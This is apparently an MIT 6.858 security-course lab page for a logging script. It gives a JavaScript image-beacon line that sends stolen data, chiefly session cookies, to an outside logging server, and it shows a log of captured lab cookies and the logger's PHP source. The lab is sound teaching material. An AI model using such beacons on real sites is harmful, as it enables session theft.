Lab 4 Logging Script

You can use this server side script to extract data from client-side JavaScript. For example, clicking this client-side hyperlink will cause the server to log the payload:

(new Image()).src='https://css.csail.mit.edu/6.858/2020/labs/log.php?' + 'id=my-username' + '&payload=some-string' + '&random=' + Math.random();

The random argument is ignored, but ensures that the browser bypasses its cache when downloading the image. We suggest that you use the random argument in your scripts as well. The ID argument will help you distinguish your log entries from those sent by other students; we suggest picking your MIT Athena username. Newlines are not allowed in javascript: links; if this bothers you, try URL encoding.

Test form

If you just want to try out the script, you can use this form. (For your actual attacks in lab 4, you'll probably want to use the JavaScript image technique shown above.)


(some identifier to locate your payload in the log)


(the information you stole)

Logged entries

Below are the most recent logged entries, so that you can check if your attack worked:

Wed, 26 Nov 2025 11:40:47 +0000: sebas: PyZoobarLogin=aaaa#25db7c1005bb9e15943918c8667ba268
Wed, 26 Nov 2025 11:38:40 +0000: sebas: PyZoobarLogin=aaaa
Wed, 26 Nov 2025 02:58:14 +0000: sebas: PyZoobarLogin=user#24dc84183fad8c61ded619b87c5ec019
Wed, 26 Nov 2025 02:57:22 +0000: Santi: PyZoobarLogin=grader#ea2d100fe9ce15bcc683855a7161473f
Wed, 26 Nov 2025 02:57:17 +0000: Santi: PyZoobarLogin=grader#4f4af5bf02d12bb267d499f7debdc88c
Wed, 26 Nov 2025 02:57:06 +0000: Santi: PyZoobarLogin=grader#04989a1741868d3962e988d653a99696
Wed, 26 Nov 2025 02:55:54 +0000: sebas: PyZoobarLogin=user#24dc84183fad8c61ded619b87c5ec019
Wed, 26 Nov 2025 02:53:45 +0000: LOL: PyZoobarLogin=grader#8429118eaaa1fae652722f76e27065a2
Wed, 26 Nov 2025 02:53:38 +0000: LOL: PyZoobarLogin=grader#13ef12a76a186ed872dc8287e14e4e7e
Wed, 26 Nov 2025 02:53:23 +0000: LOL: PyZoobarLogin=grader#eb9a71516c5dbc9389df153c4d291214
Wed, 26 Nov 2025 02:51:04 +0000: sebas: PyZoobarLogin=user#24dc84183fad8c61ded619b87c5ec019
Wed, 26 Nov 2025 02:50:00 +0000: sebas: PyZoobarLogin=user#24dc84183fad8c61ded619b87c5ec019
Wed, 26 Nov 2025 02:49:51 +0000: sebas: PyZoobarLogin=user#24dc84183fad8c61ded619b87c5ec019
Wed, 26 Nov 2025 02:49:26 +0000: sebas: PyZoobarLogin=user#24dc84183fad8c61ded619b87c5ec019
Wed, 26 Nov 2025 02:49:23 +0000: sebas: PyZoobarLogin=grader#c8c96d94eab0de4656135e8de8274f1c
Wed, 26 Nov 2025 02:49:15 +0000: XXsebas: PyZoobarLogin=grader#464b1e496f33c8ec3c6fd07d0340c950
Wed, 26 Nov 2025 02:47:51 +0000: XXsebas: PyZoobarLogin=user#24dc84183fad8c61ded619b87c5ec019
Wed, 26 Nov 2025 02:46:15 +0000: XXsebas: PyZoobarLogin=user#24dc84183fad8c61ded619b87c5ec019
Wed, 26 Nov 2025 02:46:07 +0000: XXsebas: PyZoobarLogin=user#24dc84183fad8c61ded619b87c5ec019
Wed, 26 Nov 2025 02:45:48 +0000: Santi: PyZoobarLogin=grader#209b96aa322c3ba0a8247450ad4246b2
Wed, 26 Nov 2025 02:45:38 +0000: Santi: PyZoobarLogin=grader#446f9709fef5d32b40ae53b1bee263d1
Wed, 26 Nov 2025 02:34:31 +0000: XXsebas: PyZoobarLogin=grader#d95fe5d47d1c5619aee538f9f0de9b39
Wed, 26 Nov 2025 02:34:16 +0000: XXsebas: PyZoobarLogin=grader#f9728488e5060a8edbf119b0bb511fc3
Wed, 26 Nov 2025 02:32:12 +0000: sebas: PyZoobarLogin=user#dc25f8d33fe9ccef56bb5c619fb51b1f
Wed, 26 Nov 2025 02:28:45 +0000: sebas: PyZoobarLogin=user#dc25f8d33fe9ccef56bb5c619fb51b1f
Wed, 26 Nov 2025 02:26:50 +0000: sebas: PyZoobarLogin=grader#cd627cadf78ec4e128dcd1de0b4f3455
Wed, 26 Nov 2025 02:25:24 +0000: sebas: PyZoobarLogin=user#dc25f8d33fe9ccef56bb5c619fb51b1f
Wed, 26 Nov 2025 02:25:08 +0000: sebas: PyZoobarLogin=user#dc25f8d33fe9ccef56bb5c619fb51b1f
Wed, 26 Nov 2025 02:12:45 +0000: sebas: PyZoobarLogin=grader#761e7a6a0826b7d828b755868ea20676
Tue, 25 Nov 2025 22:46:22 +0000: 6858: some-string
Tue, 25 Nov 2025 22:45:12 +0000: my-username: some-string
Tue, 25 Nov 2025 22:43:19 +0000: my-username: some-string
Tue, 25 Nov 2025 22:42:57 +0000: my-username: some-string
Tue, 25 Nov 2025 22:40:45 +0000: my-username: some-string
Tue, 25 Nov 2025 22:36:28 +0000: my-username: some-string
Tue, 25 Nov 2025 22:34:47 +0000: my-username: some-string
Tue, 25 Nov 2025 22:32:51 +0000: my-username: some-string
Tue, 25 Nov 2025 22:32:12 +0000: my-username: some-string
Tue, 25 Nov 2025 22:32:05 +0000: my-username: some-string
Tue, 25 Nov 2025 22:31:49 +0000: 6858: asdfghjkl
Tue, 25 Nov 2025 19:26:28 +0000: Moffi: grader#666f7efd7ce3d3c755b5bc3261d70163
Tue, 25 Nov 2025 19:24:59 +0000: Moffi: PyZoobarLogin=grader#14eabcfa7b885be8ffe8ecb200bd8bb1
Tue, 25 Nov 2025 19:05:23 +0000: {{ user }}: PyZoobarLogin=grader
Tue, 25 Nov 2025 19:05:12 +0000: : PyZoobarLogin=grader3
Tue, 25 Nov 2025 19:05:07 +0000: : PyZoobarLogin=grader2
Tue, 25 Nov 2025 19:05:01 +0000: : PyZoobarLogin=grader1
Tue, 25 Nov 2025 18:57:38 +0000: grader2: PyZoobarLogin=grader3
Tue, 25 Nov 2025 18:57:32 +0000: grader1: PyZoobarLogin=grader2
Tue, 25 Nov 2025 18:57:27 +0000: attacker: PyZoobarLogin=grader1
Tue, 25 Nov 2025 18:33:57 +0000: null: PyZoobarLogin=grader
Tue, 25 Nov 2025 17:57:38 +0000: null: PyZoobarLogin=grader#d7d866fd70694037da94aa32e21c848e
Tue, 25 Nov 2025 17:49:19 +0000: {{ user.username }}: PyZoobarLogin=grader
Tue, 25 Nov 2025 17:49:08 +0000: grader2: PyZoobarLogin=grader3
Tue, 25 Nov 2025 17:49:02 +0000: grader1: PyZoobarLogin=grader2
Tue, 25 Nov 2025 17:48:56 +0000: attacker: PyZoobarLogin=grader1
Tue, 25 Nov 2025 17:48:07 +0000: grader2: PyZoobarLogin=grader3
Tue, 25 Nov 2025 17:48:01 +0000: grader1: PyZoobarLogin=grader2
Tue, 25 Nov 2025 17:47:56 +0000: attacker: PyZoobarLogin=grader1
Tue, 25 Nov 2025 17:46:50 +0000: gra: payload
Tue, 25 Nov 2025 17:16:51 +0000: grader2: grader3
Tue, 25 Nov 2025 17:16:46 +0000: grader1: grader2
Tue, 25 Nov 2025 17:16:40 +0000: attacker: grader1
Tue, 25 Nov 2025 17:14:51 +0000: grader2: PyZoobarLogin=grader3#c468e7faf24b27643f45db515796d850
Tue, 25 Nov 2025 17:14:46 +0000: grader1: PyZoobarLogin=grader2#5f90d9e413c5e31b9781b2d24a829874
Tue, 25 Nov 2025 17:14:40 +0000: attacker: PyZoobarLogin=grader1#b6dbfde05c4fee18b03f1460a9780405
Tue, 25 Nov 2025 17:12:05 +0000: null: PyZoobarLogin=grader#1c6c99d8c2a54955aaabc33432c3b840
Tue, 25 Nov 2025 16:43:54 +0000: my-username: some-string
Tue, 25 Nov 2025 16:43:10 +0000: my-username: some-string
Mon, 24 Nov 2025 23:51:16 +0000: HesseKassel: grader#570753f019bb8179292d260bfd63f6ce
Mon, 24 Nov 2025 23:51:11 +0000: HesseKassel: grader#d04ae04c15d00d8db7afb5bee0b04dcf
Mon, 24 Nov 2025 23:51:00 +0000: HesseKassel: grader#2a7657762bba98910c2246752cc79928
Mon, 24 Nov 2025 23:14:15 +0000: HesseKassel: grader#5681e1b19391250dd4c7a0395bba14ff
Mon, 24 Nov 2025 23:14:09 +0000: HesseKassel: grader#88f433ea2299cf27844f43d3418c7e15
Mon, 24 Nov 2025 23:13:59 +0000: HesseKassel: grader#f02bbce357046b407431818eab9ca5b3
Mon, 24 Nov 2025 23:11:19 +0000: HesseKassel: grader#fd973b5db3186aa5018f62eabad732f0
Mon, 24 Nov 2025 23:11:08 +0000: HesseKassel: grader#e00bd31da6c487d25ec4872748d7ef36
Mon, 24 Nov 2025 18:31:54 +0000: Myst12: grader/MVTQDVKPQSDV
Mon, 24 Nov 2025 18:31:49 +0000: Myst11: grader/XHLGYLVIXLGG
Mon, 24 Nov 2025 18:31:39 +0000: Myst5: PyZoobarLogin=grader#30dde6976ee70408c85d1502d4c157c3
Mon, 24 Nov 2025 18:31:34 +0000: Myst4: PyZoobarLogin=grader#c31ec0c3c23fe53beca13f9c9631e056
Mon, 24 Nov 2025 18:31:25 +0000: Myst2: PyZoobarLogin=grader#bebf0770b201a8f07e376a7fa628d5fd
Mon, 24 Nov 2025 04:11:27 +0000: epic: mkmk/123
Mon, 24 Nov 2025 04:08:23 +0000: epic: mmmm/123
Mon, 24 Nov 2025 04:06:20 +0000: epic: 888/123
Mon, 24 Nov 2025 04:04:29 +0000: epic: 999/666
Mon, 24 Nov 2025 04:00:36 +0000: denmechamba: sexo/xd
Mon, 24 Nov 2025 03:59:55 +0000: denmechamba: olape/123
Mon, 24 Nov 2025 03:13:41 +0000: OLA: PyZoobarLogin=ola#42cfcffca7122440de1f26cd9c9a73a5
Mon, 24 Nov 2025 03:13:04 +0000: xdd: PyZoobarLogin=ola#42cfcffca7122440de1f26cd9c9a73a5
Mon, 24 Nov 2025 03:06:24 +0000: xdd: PyZoobarLogin=ola#42cfcffca7122440de1f26cd9c9a73a5
Mon, 24 Nov 2025 03:05:35 +0000: xdd: PyZoobarLogin=ola#42cfcffca7122440de1f26cd9c9a73a5
Mon, 24 Nov 2025 03:02:39 +0000: xdd: PyZoobarLogin=ola#42cfcffca7122440de1f26cd9c9a73a5
Mon, 24 Nov 2025 02:58:39 +0000: xdd: PyZoobarLogin=ola#42cfcffca7122440de1f26cd9c9a73a5
Mon, 24 Nov 2025 02:51:11 +0000: xdd: PyZoobarLogin=ola#42cfcffca7122440de1f26cd9c9a73a5
Mon, 24 Nov 2025 02:50:02 +0000: xdd: PyZoobarLogin=ola#42cfcffca7122440de1f26cd9c9a73a5
Mon, 24 Nov 2025 02:46:24 +0000: xdd: PyZoobarLogin=ola#42cfcffca7122440de1f26cd9c9a73a5
Mon, 24 Nov 2025 02:46:19 +0000: xd: PyZoobarLogin=ola#42cfcffca7122440de1f26cd9c9a73a5
Mon, 24 Nov 2025 02:45:14 +0000: xd: PyZoobarLogin=ola#42cfcffca7122440de1f26cd9c9a73a5
Mon, 24 Nov 2025 01:53:46 +0000: xd: PyZoobarLogin=grader#443f5af891f260c05b98a3c9e9b28b64
Mon, 24 Nov 2025 01:20:48 +0000: 123123: PyZoobarLogin=ola#5ee3ce2bb44b2245eb7d3fd08c256c5a
Mon, 24 Nov 2025 01:20:03 +0000: asd: PyZoobarLogin=ola

Source code

In case you are curious, here is the source code of this page.

<?php
do {
    if (!array_key_exists("id", $_REQUEST)) {
        break;
    }

    $id = $_REQUEST['id'];
    if (strlen($id) > 1000) {
        header("HTTP/1.0 413 Payload Too Large");
        echo "ID value is larger than 1000 bytes";
        return;
    }

    if (!array_key_exists("payload", $_REQUEST)) {
        header("HTTP/1.0 400 Bad Request");
        echo "No payload given";
        return;
    }

    $payload = $_REQUEST['payload'];
    if (empty($payload)) {
        header("HTTP/1.0 400 Bad Request");
        echo "Empty payload given";
        return;
    }

    if (strlen($payload) > 1000) {
        header("HTTP/1.0 413 Payload Too Large");
        echo "Payload is larger than 1000 bytes";
        return;
    }

    if (!function_exists('apcu_add')) {
        header("HTTP/1.0 501 Not Implemented");
        echo "APCu not enabled, so no rate limiting; refusing all requests";
        return;
    }

    if (apcu_add($payload, true, 5) === false) {
        // exact same $payload was sent in the past 5 seconds
        header("HTTP/1.0 429 Too Many Requests");
        echo "That exact payload was sent very recently; rejecting";
        return;
    }

    $payload = str_replace(array("\n", "\r"), '.', $payload);
    $id = str_replace(array("\n", "\r"), '.', $id);

    $file = fopen("/tmp/6.858-logger.txt", "c+");
    if ($file === false) {
        header("HTTP/1.0 503 Service Unavailable");
        echo "Failed to open log file";
        return;
    }

    if (!flock($file, LOCK_EX)) {
        header("HTTP/1.0 503 Service Unavailable");
        echo "Failed to lock log file";
        return;
    }

    $lines = array();
    while (!feof($file) && count($lines) < 100) {
        $lines[] = fgets($file);
    }
    ftruncate($file, 0);
    rewind($file);
    fwrite($file, date(DATE_RFC2822) . ": " . $id . ": " . $payload . "\n");
    foreach ($lines as &$line) {
        fwrite($file, $line);
    }

    flock($file, LOCK_UN);
    fclose($file);

    echo "Logged!";
    return;
} while(0);

$link = "(new Image()).src="
      . "'https://css.csail.mit.edu/6.858/2020/labs/log.php?'"
      . " + 'id=my-username'"
      . " + '&payload=some-string' + '&random='"
      . " + Math.random()";
?><!DOCTYPE html>
<html>
    <head>
        <link rel="stylesheet" type="text/css" href="labs.css" />
        <title>Lab 4 Logging Script</title>
    </head>
    <body>
        <h1>Lab 4 Logging Script</h1>
        <p>
            You can use this server side script to extract data from
            client-side JavaScript. For example, clicking this client-side
            hyperlink will cause the server to log the payload:
        </p>
        <pre class="tty"><a href="javascript:void(<?=$link;?>)"><?=$link;?>;</a></pre>
        <p>
            The random argument is ignored, but ensures that the browser
            bypasses its cache when downloading the image. We suggest that you
            use the random argument in your scripts as well.  The ID argument
            will help you distinguish your log entries from those sent by other
            students; we suggest picking your MIT Athena username.  Newlines are not
            allowed in <tt>javascript:</tt> links; if this bothers you, try
            <a href="https://meyerweb.com/eric/tools/dencoder/">URL encoding</a>.
        </p>

        <h2>Test form</h2>
        <p>
            If you just want to try out the script, you can use this form.
            (For your actual attacks in lab 4, you'll probably want to use the
            JavaScript image technique shown above.)
        </p>

        <form method="GET" action="">
            <label for="id">ID:</label><br />
            <input name="id" placeholder="your-mit-username" size="40" />
            <i>(some identifier to locate your payload in the log)</i>
            <br />
            <br />
            <label for="payload">Payload:</label><br />
            <input name="payload" placeholder="some-string" size="40" />
            <i>(the information you stole)</i>
            <br />
            <input type="submit" value="Log" name="log_submit" />
    </form>

    <h2>Logged entries</h2>
    <p>
        Below are the most recent logged entries, so that you can check
            if your attack worked:
    </p>

    <pre class="tty"><?php
        $lines = file_get_contents("/tmp/6.858-logger.txt");
        echo htmlspecialchars($lines);
    ?></pre>

        <h2>Source code</h2>
        <p>In case you are curious, here is the source code of this page.</p>
        <pre><?php highlight_file(__FILE__); ?></pre>
    </body>
</html>